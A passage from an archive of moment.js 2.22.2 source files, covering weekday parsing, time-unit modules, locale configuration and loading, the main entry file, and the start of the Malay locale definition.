'').toLocaleLowerCase(); } } if (strict) { if (format === 'dddd') { ii = indexOf.call(this._weekdaysParse, llc); return ii !== -1 ? ii : null; } else if (format === 'ddd') { ii = indexOf.call(this._shortWeekdaysParse, llc); return ii !== -1 ? ii : null; } else { ii = indexOf.call(this._minWeekdaysParse, llc); return ii !== -1 ? ii : null; } } else { if (format === 'dddd') { ii = indexOf.call(this._weekdaysParse, llc); if (ii !== -1) { return ii; } ii = indexOf.call(this._shortWeekdaysParse, llc); if (ii !== -1) { return ii; } ii = indexOf.call(this._minWeekdaysParse, llc); return ii !== -1 ? ii : null; } else if (format === 'ddd') { ii = indexOf.call(this._shortWeekdaysParse, llc); if (ii !== -1) { return ii; } ii = indexOf.call(this._weekdaysParse, llc); if (ii !== -1) { return ii; } ii = indexOf.call(this._minWeekdaysParse, llc); return ii !== -1 ? ii : null; } else { ii = indexOf.call(this._minWeekdaysParse, llc); if (ii !== -1) { return ii; } ii = indexOf.call(this._weekdaysParse, llc); if (ii !== -1) { return ii; } ii = indexOf.call(this._shortWeekdaysParse, llc); return ii !== -1 ? ii : null; } } } export function localeWeekdaysParse (weekdayName, format, strict) { var i, mom, regex; if (this._weekdaysParseExact) { return handleStrictParse.call(this, weekdayName, format, strict); } if (!this._weekdaysParse) { this._weekdaysParse = []; this._minWeekdaysParse = []; this._shortWeekdaysParse = []; this._fullWeekdaysParse = []; } for (i = 0; i < 7; i++) { // make the regex if we don't have it already mom = createUTC([2000, 1]).day(i); if (strict && !this._fullWeekdaysParse[i]) { this._fullWeekdaysParse[i] = new RegExp('^' + this.weekdays(mom, '').replace('.', '\\.?') + '$', 'i'); this._shortWeekdaysParse[i] = new RegExp('^' + this.weekdaysShort(mom, '').replace('.', '\\.?') + '$', 'i'); this._minWeekdaysParse[i] = new RegExp('^' + this.weekdaysMin(mom, '').replace('.', '\\.?') + '$', 'i'); } if (!this._weekdaysParse[i]) { regex = '^' + this.weekdays(mom, '') + '|^' + this.weekdaysShort(mom, '') + '|^' + this.weekdaysMin(mom, ''); this._weekdaysParse[i] = new RegExp(regex.replace('.', ''), 'i'); } // test the regex if (strict && format === 'dddd' && this._fullWeekdaysParse[i].test(weekdayName)) { return i; } else if (strict && format === 'ddd' && this._shortWeekdaysParse[i].test(weekdayName)) { return i; } else if (strict && format === 'dd' && this._minWeekdaysParse[i].test(weekdayName)) { return i; } else if (!strict && this._weekdaysParse[i].test(weekdayName)) { return i; } } } // MOMENTS export function getSetDayOfWeek (input) { if (!this.isValid()) { return input != null ? this : NaN; } var day = this._isUTC ? this._d.getUTCDay() : this._d.getDay(); if (input != null) { input = parseWeekday(input, this.localeData()); return this.add(input - day, 'd'); } else { return day; } } export function getSetLocaleDayOfWeek (input) { if (!this.isValid()) { return input != null ? this : NaN; } var weekday = (this.day() + 7 - this.localeData()._week.dow) % 7; return input == null ? weekday : this.add(input - weekday, 'd'); } export function getSetISODayOfWeek (input) { if (!this.isValid()) { return input != null ? this : NaN; } // behaves the same as moment#day except // as a getter, returns 7 instead of 0 (1-7 range instead of 0-6) // as a setter, sunday should belong to the previous week. if (input != null) { var weekday = parseIsoWeekday(input, this.localeData()); return this.day(this.day() % 7 ? weekday : weekday - 7); } else { return this.day() || 7; } } var defaultWeekdaysRegex = matchWord; export function weekdaysRegex (isStrict) { if (this._weekdaysParseExact) { if (!hasOwnProp(this, '_weekdaysRegex')) { computeWeekdaysParse.call(this); } if (isStrict) { return this._weekdaysStrictRegex; } else { return this._weekdaysRegex; } } else { if (!hasOwnProp(this, '_weekdaysRegex')) { this._weekdaysRegex = defaultWeekdaysRegex; } return this._weekdaysStrictRegex && isStrict ? this._weekdaysStrictRegex : this._weekdaysRegex; } } var defaultWeekdaysShortRegex = matchWord; export function weekdaysShortRegex (isStrict) { if (this._weekdaysParseExact) { if (!hasOwnProp(this, '_weekdaysRegex')) { computeWeekdaysParse.call(this); } if (isStrict) { return this._weekdaysShortStrictRegex; } else { return this._weekdaysShortRegex; } } else { if (!hasOwnProp(this, '_weekdaysShortRegex')) { this._weekdaysShortRegex = defaultWeekdaysShortRegex; } return this._weekdaysShortStrictRegex && isStrict ? this._weekdaysShortStrictRegex : this._weekdaysShortRegex; } } var defaultWeekdaysMinRegex = matchWord; export function weekdaysMinRegex (isStrict) { if (this._weekdaysParseExact) { if (!hasOwnProp(this, '_weekdaysRegex')) { computeWeekdaysParse.call(this); } if (isStrict) { return this._weekdaysMinStrictRegex; } else { return this._weekdaysMinRegex; } } else { if (!hasOwnProp(this, '_weekdaysMinRegex')) { this._weekdaysMinRegex = defaultWeekdaysMinRegex; } return this._weekdaysMinStrictRegex && isStrict ? this._weekdaysMinStrictRegex : this._weekdaysMinRegex; } } function computeWeekdaysParse () { function cmpLenRev(a, b) { return b.length - a.length; } var minPieces = [], shortPieces = [], longPieces = [], mixedPieces = [], i, mom, minp, shortp, longp; for (i = 0; i < 7; i++) { // make the regex if we don't have it already mom = createUTC([2000, 1]).day(i); minp = this.weekdaysMin(mom, ''); shortp = this.weekdaysShort(mom, ''); longp = this.weekdays(mom, ''); minPieces.push(minp); shortPieces.push(shortp); longPieces.push(longp); mixedPieces.push(minp); mixedPieces.push(shortp); mixedPieces.push(longp); } // Sorting makes sure if one weekday (or abbr) is a prefix of another it // will match the longer piece. minPieces.sort(cmpLenRev); shortPieces.sort(cmpLenRev); longPieces.sort(cmpLenRev); mixedPieces.sort(cmpLenRev); for (i = 0; i < 7; i++) { shortPieces[i] = regexEscape(shortPieces[i]); longPieces[i] = regexEscape(longPieces[i]); mixedPieces[i] = regexEscape(mixedPieces[i]); } this._weekdaysRegex = new RegExp('^(' + mixedPieces.join('|') + ')', 'i'); this._weekdaysShortRegex = this._weekdaysRegex; this._weekdaysMinRegex = this._weekdaysRegex; this._weekdaysStrictRegex = new RegExp('^(' + longPieces.join('|') + ')', 'i'); this._weekdaysShortStrictRegex = new RegExp('^(' + shortPieces.join('|') + ')', 'i'); this._weekdaysMinStrictRegex = new RegExp('^(' + minPieces.join('|') + ')', 'i'); } lib/units/timezone.js000064400000000530151677412270010656 0ustar00import { addFormatToken } from '../format/format'; // FORMATTING addFormatToken('z', 0, 0, 'zoneAbbr'); addFormatToken('zz', 0, 0, 'zoneName'); // MOMENTS export function getZoneAbbr () { return this._isUTC ? 'UTC' : ''; } export function getZoneName () { return this._isUTC ? 'Coordinated Universal Time' : ''; } lib/units/units.js000064400000000650151677412270010171 0ustar00// Side effect imports import './day-of-month'; import './day-of-week'; import './day-of-year'; import './hour'; import './millisecond'; import './minute'; import './month'; import './offset'; import './quarter'; import './second'; import './timestamp'; import './timezone'; import './week-year'; import './week'; import './year'; import { normalizeUnits } from './aliases'; export { normalizeUnits }; lib/units/minute.js000064400000001305151677412270010326 0ustar00import { makeGetSet } from '../moment/get-set'; import { addFormatToken } from '../format/format'; import { addUnitAlias } from './aliases'; import { addUnitPriority } from './priorities'; import { addRegexToken, match1to2, match2 } from '../parse/regex'; import { addParseToken } from '../parse/token'; import { MINUTE } from './constants'; // FORMATTING addFormatToken('m', ['mm', 2], 0, 'minute'); // ALIASES addUnitAlias('minute', 'm'); // PRIORITY addUnitPriority('minute', 14); // PARSING addRegexToken('m', match1to2); addRegexToken('mm', match1to2, match2); addParseToken(['m', 'mm'], MINUTE); // MOMENTS export var getSetMinute = makeGetSet('Minutes', false); lib/units/second.js000064400000001305151677412270010300 0ustar00import { makeGetSet } from '../moment/get-set'; import { addFormatToken } from '../format/format'; import { addUnitAlias } from './aliases'; import { addUnitPriority } from './priorities'; import { addRegexToken, match1to2, match2 } from '../parse/regex'; import { addParseToken } from '../parse/token'; import { SECOND } from './constants'; // FORMATTING addFormatToken('s', ['ss', 2], 0, 'second'); // ALIASES addUnitAlias('second', 's'); // PRIORITY addUnitPriority('second', 15); // PARSING addRegexToken('s', match1to2); addRegexToken('ss', match1to2, match2); addParseToken(['s', 'ss'], SECOND); // MOMENTS export var getSetSecond = makeGetSet('Seconds', false); lib/units/millisecond.js000064400000003545151677412270011337 0ustar00import { makeGetSet } from '../moment/get-set'; import { addFormatToken } from '../format/format'; import { addUnitAlias } from './aliases'; import { addUnitPriority } from './priorities'; import { addRegexToken, match1, match2, match3, match1to3, matchUnsigned } from '../parse/regex'; import { addParseToken } from '../parse/token'; import { MILLISECOND } from './constants'; import toInt from '../utils/to-int'; // FORMATTING addFormatToken('S', 0, 0, function () { return ~~(this.millisecond() / 100); }); addFormatToken(0, ['SS', 2], 0, function () { return ~~(this.millisecond() / 10); }); addFormatToken(0, ['SSS', 3], 0, 'millisecond'); addFormatToken(0, ['SSSS', 4], 0, function () { return this.millisecond() * 10; }); addFormatToken(0, ['SSSSS', 5], 0, function () { return this.millisecond() * 100; }); addFormatToken(0, ['SSSSSS', 6], 0, function () { return this.millisecond() * 1000; }); addFormatToken(0, ['SSSSSSS', 7], 0, function () { return this.millisecond() * 10000; }); addFormatToken(0, ['SSSSSSSS', 8], 0, function () { return this.millisecond() * 100000; }); addFormatToken(0, ['SSSSSSSSS', 9], 0, function () { return this.millisecond() * 1000000; }); // ALIASES addUnitAlias('millisecond', 'ms'); // PRIORITY addUnitPriority('millisecond', 16); // PARSING addRegexToken('S', match1to3, match1); addRegexToken('SS', match1to3, match2); addRegexToken('SSS', match1to3, match3); var token; for (token = 'SSSS'; token.length <= 9; token += 'S') { addRegexToken(token, matchUnsigned); } function parseMs(input, array) { array[MILLISECOND] = toInt(('0.' + input) * 1000); } for (token = 'S'; token.length <= 9; token += 'S') { addParseToken(token, parseMs); } // MOMENTS export var getSetMillisecond = makeGetSet('Milliseconds', false); lib/units/constants.js000064400000000325151677412270011042 0ustar00export var YEAR = 0; export var MONTH = 1; export var DATE = 2; export var HOUR = 3; export var MINUTE = 4; export var SECOND = 5; export var MILLISECOND = 6; export var WEEK = 7; export var WEEKDAY = 8; lib/units/week.js000064400000003351151677412270007763 0ustar00import { addFormatToken } from '../format/format'; import { addUnitAlias } from './aliases'; import { addUnitPriority } from './priorities'; import { addRegexToken, match1to2, match2 } from '../parse/regex'; import { addWeekParseToken } from '../parse/token'; import toInt from '../utils/to-int'; import { createLocal } from '../create/local'; import { weekOfYear } from './week-calendar-utils'; // FORMATTING addFormatToken('w', ['ww', 2], 'wo', 'week'); addFormatToken('W', ['WW', 2], 'Wo', 'isoWeek'); // ALIASES addUnitAlias('week', 'w'); addUnitAlias('isoWeek', 'W'); // PRIORITIES addUnitPriority('week', 5); addUnitPriority('isoWeek', 5); // PARSING addRegexToken('w', match1to2); addRegexToken('ww', match1to2, match2); addRegexToken('W', match1to2); addRegexToken('WW', match1to2, match2); addWeekParseToken(['w', 'ww', 'W', 'WW'], function (input, week, config, token) { week[token.substr(0, 1)] = toInt(input); }); // HELPERS // LOCALES export function localeWeek (mom) { return weekOfYear(mom, this._week.dow, this._week.doy).week; } export var defaultLocaleWeek = { dow : 0, // Sunday is the first day of the week. doy : 6 // The week that contains Jan 1st is the first week of the year. }; export function localeFirstDayOfWeek () { return this._week.dow; } export function localeFirstDayOfYear () { return this._week.doy; } // MOMENTS export function getSetWeek (input) { var week = this.localeData().week(this); return input == null ? week : this.add((input - week) * 7, 'd'); } export function getSetISOWeek (input) { var week = weekOfYear(this, 1, 4).week; return input == null ? week : this.add((input - week) * 7, 'd'); } lib/units/year.js000064400000003773151677412270010000 0ustar00import { makeGetSet } from '../moment/get-set'; import { addFormatToken } from '../format/format'; import { addUnitAlias } from './aliases'; import { addUnitPriority } from './priorities'; import { addRegexToken, match1to2, match1to4, match1to6, match2, match4, match6, matchSigned } from '../parse/regex'; import { addParseToken } from '../parse/token'; import { hooks } from '../utils/hooks'; import { YEAR } from './constants'; import toInt from '../utils/to-int'; // FORMATTING addFormatToken('Y', 0, 0, function () { var y = this.year(); return y <= 9999 ? '' + y : '+' + y; }); addFormatToken(0, ['YY', 2], 0, function () { return this.year() % 100; }); addFormatToken(0, ['YYYY', 4], 0, 'year'); addFormatToken(0, ['YYYYY', 5], 0, 'year'); addFormatToken(0, ['YYYYYY', 6, true], 0, 'year'); // ALIASES addUnitAlias('year', 'y'); // PRIORITIES addUnitPriority('year', 1); // PARSING addRegexToken('Y', matchSigned); addRegexToken('YY', match1to2, match2); addRegexToken('YYYY', match1to4, match4); addRegexToken('YYYYY', match1to6, match6); addRegexToken('YYYYYY', match1to6, match6); addParseToken(['YYYYY', 'YYYYYY'], YEAR); addParseToken('YYYY', function (input, array) { array[YEAR] = input.length === 2 ? hooks.parseTwoDigitYear(input) : toInt(input); }); addParseToken('YY', function (input, array) { array[YEAR] = hooks.parseTwoDigitYear(input); }); addParseToken('Y', function (input, array) { array[YEAR] = parseInt(input, 10); }); // HELPERS export function daysInYear(year) { return isLeapYear(year) ? 366 : 365; } export function isLeapYear(year) { return (year % 4 === 0 && year % 100 !== 0) || year % 400 === 0; } // HOOKS hooks.parseTwoDigitYear = function (input) { return toInt(input) + (toInt(input) > 68 ? 1900 : 2000); }; // MOMENTS export var getSetYear = makeGetSet('FullYear', true); export function getIsLeapYear () { return isLeapYear(this.year()); } lib/locale/constructor.js000064400000000142151677412270011505 0ustar00export function Locale(config) { if (config != null) { this.set(config); } } lib/locale/formats.js000064400000001144151677412270010576 0ustar00export var defaultLongDateFormat = { LTS : 'h:mm:ss A', LT : 'h:mm A', L : 'MM/DD/YYYY', LL : 'MMMM D, YYYY', LLL : 'MMMM D, YYYY h:mm A', LLLL : 'dddd, MMMM D, YYYY h:mm A' }; export function longDateFormat (key) { var format = this._longDateFormat[key], formatUpper = this._longDateFormat[key.toUpperCase()]; if (format || !formatUpper) { return format; } this._longDateFormat[key] = formatUpper.replace(/MMMM|MM|DD|dddd/g, function (val) { return val.slice(1); }); return this._longDateFormat[key]; } lib/locale/calendar.js000064400000000717151677412270010701 0ustar00export var defaultCalendar = { sameDay : '[Today at] LT', nextDay : '[Tomorrow at] LT', nextWeek : 'dddd [at] LT', lastDay : '[Yesterday at] LT', lastWeek : '[Last] dddd [at] LT', sameElse : 'L' }; import isFunction from '../utils/is-function'; export function calendar (key, mom, now) { var output = this._calendar[key] || this._calendar['sameElse']; return isFunction(output) ? output.call(mom, now) : output; } lib/locale/base-config.js000064400000002327151677412270011304 0ustar00import { defaultCalendar } from './calendar'; import { defaultLongDateFormat } from './formats'; import { defaultInvalidDate } from './invalid'; import { defaultOrdinal, defaultDayOfMonthOrdinalParse } from './ordinal'; import { defaultRelativeTime } from './relative'; // months import { defaultLocaleMonths, defaultLocaleMonthsShort, } from '../units/month'; // week import { defaultLocaleWeek } from '../units/week'; // weekdays import { defaultLocaleWeekdays, defaultLocaleWeekdaysMin, defaultLocaleWeekdaysShort, } from '../units/day-of-week'; // meridiem import { defaultLocaleMeridiemParse } from '../units/hour'; export var baseConfig = { calendar: defaultCalendar, longDateFormat: defaultLongDateFormat, invalidDate: defaultInvalidDate, ordinal: defaultOrdinal, dayOfMonthOrdinalParse: defaultDayOfMonthOrdinalParse, relativeTime: defaultRelativeTime, months: defaultLocaleMonths, monthsShort: defaultLocaleMonthsShort, week: defaultLocaleWeek, weekdays: defaultLocaleWeekdays, weekdaysMin: defaultLocaleWeekdaysMin, weekdaysShort: defaultLocaleWeekdaysShort, meridiemParse: defaultLocaleMeridiemParse }; lib/locale/ordinal.js000064400000000266151677412270010557 0ustar00export var defaultOrdinal = '%d'; export var defaultDayOfMonthOrdinalParse = /\d{1,2}/; export function ordinal (number) { return this._ordinal.replace('%d', number); } lib/locale/locale.js000064400000001515151677412270010364 0ustar00// Side effect imports import './prototype'; import { getSetGlobalLocale, defineLocale, updateLocale, getLocale, listLocales } from './locales'; import { listMonths, listMonthsShort, listWeekdays, listWeekdaysShort, listWeekdaysMin } from './lists'; export { getSetGlobalLocale, defineLocale, updateLocale, getLocale, listLocales, listMonths, listMonthsShort, listWeekdays, listWeekdaysShort, listWeekdaysMin }; import { deprecate } from '../utils/deprecate'; import { hooks } from '../utils/hooks'; hooks.lang = deprecate('moment.lang is deprecated. Use moment.locale instead.', getSetGlobalLocale); hooks.langData = deprecate('moment.langData is deprecated. Use moment.localeData instead.', getLocale); import './en'; lib/locale/invalid.js000064400000000167151677412270010555 0ustar00export var defaultInvalidDate = 'Invalid date'; export function invalidDate () { return this._invalidDate; } lib/locale/set.js000064400000003355151677412270007724 0ustar00import isFunction from '../utils/is-function'; import extend from '../utils/extend'; import isObject from '../utils/is-object'; import hasOwnProp from '../utils/has-own-prop'; export function set (config) { var prop, i; for (i in config) { prop = config[i]; if (isFunction(prop)) { this[i] = prop; } else { this['_' + i] = prop; } } this._config = config; // Lenient ordinal parsing accepts just a number in addition to // number + (possibly) stuff coming from _dayOfMonthOrdinalParse. // TODO: Remove "ordinalParse" fallback in next major release. this._dayOfMonthOrdinalParseLenient = new RegExp( (this._dayOfMonthOrdinalParse.source || this._ordinalParse.source) + '|' + (/\d{1,2}/).source); } export function mergeConfigs(parentConfig, childConfig) { var res = extend({}, parentConfig), prop; for (prop in childConfig) { if (hasOwnProp(childConfig, prop)) { if (isObject(parentConfig[prop]) && isObject(childConfig[prop])) { res[prop] = {}; extend(res[prop], parentConfig[prop]); extend(res[prop], childConfig[prop]); } else if (childConfig[prop] != null) { res[prop] = childConfig[prop]; } else { delete res[prop]; } } } for (prop in parentConfig) { if (hasOwnProp(parentConfig, prop) && !hasOwnProp(childConfig, prop) && isObject(parentConfig[prop])) { // make sure changes to properties don't modify parent config res[prop] = extend({}, res[prop]); } } return res; } lib/locale/en.js000064400000000725151677412270007531 0ustar00import './prototype'; import { getSetGlobalLocale } from './locales'; import toInt from '../utils/to-int'; getSetGlobalLocale('en', { dayOfMonthOrdinalParse: /\d{1,2}(th|st|nd|rd)/, ordinal : function (number) { var b = number % 10, output = (toInt(number % 100 / 10) === 1) ? 'th' : (b === 1) ? 'st' : (b === 2) ? 'nd' : (b === 3) ? 'rd' : 'th'; return number + output; } }); lib/locale/pre-post-format.js000064400000000106151677412270012157 0ustar00export function preParsePostFormat (string) { return string; } lib/locale/relative.js000064400000001534151677412270010741 0ustar00export var defaultRelativeTime = { future : 'in %s', past : '%s ago', s : 'a few seconds', ss : '%d seconds', m : 'a minute', mm : '%d minutes', h : 'an hour', hh : '%d hours', d : 'a day', dd : '%d days', M : 'a month', MM : '%d months', y : 'a year', yy : '%d years' }; import isFunction from '../utils/is-function'; export function relativeTime (number, withoutSuffix, string, isFuture) { var output = this._relativeTime[string]; return (isFunction(output)) ? output(number, withoutSuffix, string, isFuture) : output.replace(/%d/i, number); } export function pastFuture (diff, output) { var format = this._relativeTime[diff > 0 ? 'future' : 'past']; return isFunction(format) ? format(output) : format.replace(/%s/i, output); } lib/locale/lists.js000064400000004361151677412270010265 0ustar00import isNumber from '../utils/is-number'; import { getLocale } from './locales'; import { createUTC } from '../create/utc'; function get (format, index, field, setter) { var locale = getLocale(); var utc = createUTC().set(setter, index); return locale[field](utc, format); } function listMonthsImpl (format, index, field) { if (isNumber(format)) { index = format; format = undefined; } format = format || ''; if (index != null) { return get(format, index, field, 'month'); } var i; var out = []; for (i = 0; i < 12; i++) { out[i] = get(format, i, field, 'month'); } return out; } // () // (5) // (fmt, 5) // (fmt) // (true) // (true, 5) // (true, fmt, 5) // (true, fmt) function listWeekdaysImpl (localeSorted, format, index, field) { if (typeof localeSorted === 'boolean') { if (isNumber(format)) { index = format; format = undefined; } format = format || ''; } else { format = localeSorted; index = format; localeSorted = false; if (isNumber(format)) { index = format; format = undefined; } format = format || ''; } var locale = getLocale(), shift = localeSorted ? locale._week.dow : 0; if (index != null) { return get(format, (index + shift) % 7, field, 'day'); } var i; var out = []; for (i = 0; i < 7; i++) { out[i] = get(format, (i + shift) % 7, field, 'day'); } return out; } export function listMonths (format, index) { return listMonthsImpl(format, index, 'months'); } export function listMonthsShort (format, index) { return listMonthsImpl(format, index, 'monthsShort'); } export function listWeekdays (localeSorted, format, index) { return listWeekdaysImpl(localeSorted, format, index, 'weekdays'); } export function listWeekdaysShort (localeSorted, format, index) { return listWeekdaysImpl(localeSorted, format, index, 'weekdaysShort'); } export function listWeekdaysMin (localeSorted, format, index) { return listWeekdaysImpl(localeSorted, format, index, 'weekdaysMin'); } lib/locale/locales.js000064400000014511151677412270010547 0ustar00import isArray from '../utils/is-array'; import hasOwnProp from '../utils/has-own-prop'; import isUndefined from '../utils/is-undefined'; import compareArrays from '../utils/compare-arrays'; import { deprecateSimple } from '../utils/deprecate'; import { mergeConfigs } from './set'; import { Locale } from './constructor'; import keys from '../utils/keys'; import { baseConfig } from './base-config'; // internal storage for locale config files var locales = {}; var localeFamilies = {}; var globalLocale; function normalizeLocale(key) { return key ? key.toLowerCase().replace('_', '-') : key; } // pick the locale from the array // try ['en-au', 'en-gb'] as 'en-au', 'en-gb', 'en', as in move through the list trying each // substring from most specific to least, but move to the next array item if it's a more specific variant than the current root function chooseLocale(names) { var i = 0, j, next, locale, split; while (i < names.length) { split = normalizeLocale(names[i]).split('-'); j = split.length; next = normalizeLocale(names[i + 1]); next = next ? next.split('-') : null; while (j > 0) { locale = loadLocale(split.slice(0, j).join('-')); if (locale) { return locale; } if (next && next.length >= j && compareArrays(split, next, true) >= j - 1) { //the next array item is better than a shallower substring of this one break; } j--; } i++; } return globalLocale; } function loadLocale(name) { var oldLocale = null; // TODO: Find a better way to register and load all the locales in Node if (!locales[name] && (typeof module !== 'undefined') && module && module.exports) { try { oldLocale = globalLocale._abbr; var aliasedRequire = require; aliasedRequire('./locale/' + name); getSetGlobalLocale(oldLocale); } catch (e) {} } return locales[name]; } // This function will load locale and then set the global locale. If // no arguments are passed in, it will simply return the current global // locale key. export function getSetGlobalLocale (key, values) { var data; if (key) { if (isUndefined(values)) { data = getLocale(key); } else { data = defineLocale(key, values); } if (data) { // moment.duration._locale = moment._locale = data; globalLocale = data; } else { if ((typeof console !== 'undefined') && console.warn) { //warn user if arguments are passed but the locale could not be set console.warn('Locale ' + key + ' not found. Did you forget to load it?'); } } } return globalLocale._abbr; } export function defineLocale (name, config) { if (config !== null) { var locale, parentConfig = baseConfig; config.abbr = name; if (locales[name] != null) { deprecateSimple('defineLocaleOverride', 'use moment.updateLocale(localeName, config) to change ' + 'an existing locale. moment.defineLocale(localeName, ' + 'config) should only be used for creating a new locale ' + 'See http://momentjs.com/guides/#/warnings/define-locale/ for more info.'); parentConfig = locales[name]._config; } else if (config.parentLocale != null) { if (locales[config.parentLocale] != null) { parentConfig = locales[config.parentLocale]._config; } else { locale = loadLocale(config.parentLocale); if (locale != null) { parentConfig = locale._config; } else { if (!localeFamilies[config.parentLocale]) { localeFamilies[config.parentLocale] = []; } localeFamilies[config.parentLocale].push({ name: name, config: config }); return null; } } } locales[name] = new Locale(mergeConfigs(parentConfig, config)); if (localeFamilies[name]) { localeFamilies[name].forEach(function (x) { defineLocale(x.name, x.config); }); } // backwards compat for now: also set the locale // make sure we set the locale AFTER all child locales have been // created, so we won't end up with the child locale set. getSetGlobalLocale(name); return locales[name]; } else { // useful for testing delete locales[name]; return null; } } export function updateLocale(name, config) { if (config != null) { var locale, tmpLocale, parentConfig = baseConfig; // MERGE tmpLocale = loadLocale(name); if (tmpLocale != null) { parentConfig = tmpLocale._config; } config = mergeConfigs(parentConfig, config); locale = new Locale(config); locale.parentLocale = locales[name]; locales[name] = locale; // backwards compat for now: also set the locale getSetGlobalLocale(name); } else { // pass null for config to unupdate, useful for tests if (locales[name] != null) { if (locales[name].parentLocale != null) { locales[name] = locales[name].parentLocale; } else if (locales[name] != null) { delete locales[name]; } } } return locales[name]; } // returns locale data export function getLocale (key) { var locale; if (key && key._locale && key._locale._abbr) { key = key._locale._abbr; } if (!key) { return globalLocale; } if (!isArray(key)) { //short-circuit everything else locale = loadLocale(key); if (locale) { return locale; } key = [key]; } return chooseLocale(key); } export function listLocales() { return keys(locales); } lib/locale/prototype.js000064400000004027151677412270011173 0ustar00import { Locale } from './constructor'; var proto = Locale.prototype; import { calendar } from './calendar'; import { longDateFormat } from './formats'; import { invalidDate } from './invalid'; import { ordinal } from './ordinal'; import { preParsePostFormat } from './pre-post-format'; import { relativeTime, pastFuture } from './relative'; import { set } from './set'; proto.calendar = calendar; proto.longDateFormat = longDateFormat; proto.invalidDate = invalidDate; proto.ordinal = ordinal; proto.preparse = preParsePostFormat; proto.postformat = preParsePostFormat; proto.relativeTime = relativeTime; proto.pastFuture = pastFuture; proto.set = set; // Month import { localeMonthsParse, localeMonths, localeMonthsShort, monthsRegex, monthsShortRegex } from '../units/month'; proto.months = localeMonths; proto.monthsShort = localeMonthsShort; proto.monthsParse = localeMonthsParse; proto.monthsRegex = monthsRegex; proto.monthsShortRegex = monthsShortRegex; // Week import { localeWeek, localeFirstDayOfYear, localeFirstDayOfWeek } from '../units/week'; proto.week = localeWeek; proto.firstDayOfYear = localeFirstDayOfYear; proto.firstDayOfWeek = localeFirstDayOfWeek; // Day of Week import { localeWeekdaysParse, localeWeekdays, localeWeekdaysMin, localeWeekdaysShort, weekdaysRegex, weekdaysShortRegex, weekdaysMinRegex } from '../units/day-of-week'; proto.weekdays = localeWeekdays; proto.weekdaysMin = localeWeekdaysMin; proto.weekdaysShort = localeWeekdaysShort; proto.weekdaysParse = localeWeekdaysParse; proto.weekdaysRegex = weekdaysRegex; proto.weekdaysShortRegex = weekdaysShortRegex; proto.weekdaysMinRegex = weekdaysMinRegex; // Hours import { localeIsPM, localeMeridiem } from '../units/hour'; proto.isPM = localeIsPM; proto.meridiem = localeMeridiem; moment.js000064400000006447151677412270006430 0ustar00//! moment.js //! version : 2.22.2 //! authors : Tim Wood, Iskren Chernev, Moment.js contributors //! license : MIT //! momentjs.com import { hooks as moment, setHookCallback } from './lib/utils/hooks'; moment.version = '2.22.2'; import { min, max, now, isMoment, momentPrototype as fn, createUTC as utc, createUnix as unix, createLocal as local, createInvalid as invalid, createInZone as parseZone } from './lib/moment/moment'; import { getCalendarFormat } from './lib/moment/calendar'; import { defineLocale, updateLocale, getSetGlobalLocale as locale, getLocale as localeData, listLocales as locales, listMonths as months, listMonthsShort as monthsShort, listWeekdays as weekdays, listWeekdaysMin as weekdaysMin, listWeekdaysShort as weekdaysShort } from './lib/locale/locale'; import { isDuration, createDuration as duration, getSetRelativeTimeRounding as relativeTimeRounding, getSetRelativeTimeThreshold as relativeTimeThreshold } from './lib/duration/duration'; import { normalizeUnits } from './lib/units/units'; import isDate from './lib/utils/is-date'; setHookCallback(local); moment.fn = fn; moment.min = min; moment.max = max; moment.now = now; moment.utc = utc; moment.unix = unix; moment.months = months; moment.isDate = isDate; moment.locale = locale; moment.invalid = invalid; moment.duration = duration; moment.isMoment = isMoment; moment.weekdays = weekdays; moment.parseZone = parseZone; moment.localeData = localeData; moment.isDuration = isDuration; moment.monthsShort = monthsShort; moment.weekdaysMin = weekdaysMin; moment.defineLocale = defineLocale; moment.updateLocale = updateLocale; moment.locales = locales; moment.weekdaysShort = weekdaysShort; moment.normalizeUnits = normalizeUnits; moment.relativeTimeRounding = relativeTimeRounding; moment.relativeTimeThreshold = relativeTimeThreshold; moment.calendarFormat = getCalendarFormat; moment.prototype = fn; // currently HTML5 input type only supports 24-hour formats moment.HTML5_FMT = { DATETIME_LOCAL: 'YYYY-MM-DDTHH:mm', // <input type="datetime-local" /> DATETIME_LOCAL_SECONDS: 'YYYY-MM-DDTHH:mm:ss', // <input type="datetime-local" step="1" /> DATETIME_LOCAL_MS: 'YYYY-MM-DDTHH:mm:ss.SSS', // <input type="datetime-local" step="0.001" /> DATE: 'YYYY-MM-DD', // <input type="date" /> TIME: 'HH:mm', // <input type="time" /> TIME_SECONDS: 'HH:mm:ss', // <input type="time" step="1" /> TIME_MS: 'HH:mm:ss.SSS', // <input type="time" step="0.001" /> WEEK: 'YYYY-[W]WW', // <input type="week" /> MONTH: 'YYYY-MM' // <input type="month" /> }; export default moment; locale/ms.js000064400000004504151677412270006777 0ustar00//! moment.js locale configuration //! locale : Malay [ms] //! author : Weldan Jamili : https://github.com/weldan import moment from '../moment'; export default moment.defineLocale('ms', { months : 'Januari_Februari_Mac_April_Mei_Jun_Julai_Ogos_September_Oktober_November_Disember'.split('_'), monthsShort : 'Jan_Feb_Mac_Apr_Mei_Jun_Jul_Ogs_Sep_Okt_Nov_Dis'.split('_'), weekdays : 'Ahad_Isnin_Selasa_Rabu_Khamis_Jumaat_Sabtu'.split('_'), weekdaysShort : 'Ahd_Isn_Sel_Rab_Kha_Jum_Sab'.split('_'), weekdaysMin : 'Ah_Is_Sl_Rb_Km_Jm_Sb'.split('_'), longDateFormat : { LT : 'HH.mm', LTS : 'HH.mm.ss', L : 'DD/MM/YYYY', LL : 'D MMMM YYYY', LLL : 'D MMMM YYYY [pukul] HH.mm', LLLL : 'dddd, D MMMM YYYY [pukul] HH.mm' }, meridiemParse: /pagi|tengahari|petang|malam/, meridiemHour: function (hour, meridiem) { if (hour === 12) { hour = 0; } if (meridiem === 'pagi') { return hour; } else if (meridiem === 'tengahari') { return hour >= 11 ? hour : hour + 12; } else if (meridiem === 'petang' || meridiem === 'malam') { return hour + 12; } }, meridiem : function (hours, minutes, isLower) { if (hours < 11) { return 'pagi'; } else if (hours < 15) { return 'tengahari'; } else if (hours < 19) { return 'petang'; } else { return 'malam'; } }, calendar : { sameDay : '[Hari ini pukul] LT', nextDay : '[Esok pukul] LT', nextWeek : 'dddd [pukul] LT', lastDay : '[Kelmarin pukul] LT', lastWeek : 'dddd [lepas pukul] LT', sameElse : 'L' }, relativeTime : { future : 'dalam %s', past : '%s yang lepas', s : 'beberapa saat', ss : '%d saat', m : 'seminit', mm : '%d minit', h : 'sejam', hh : '%d jam', d : 'sehari', dd : '%d hari', M : 'sebulan', MM : '%d bulan', y : 'setahun', yy : '%d tahun' }, week : { dow : 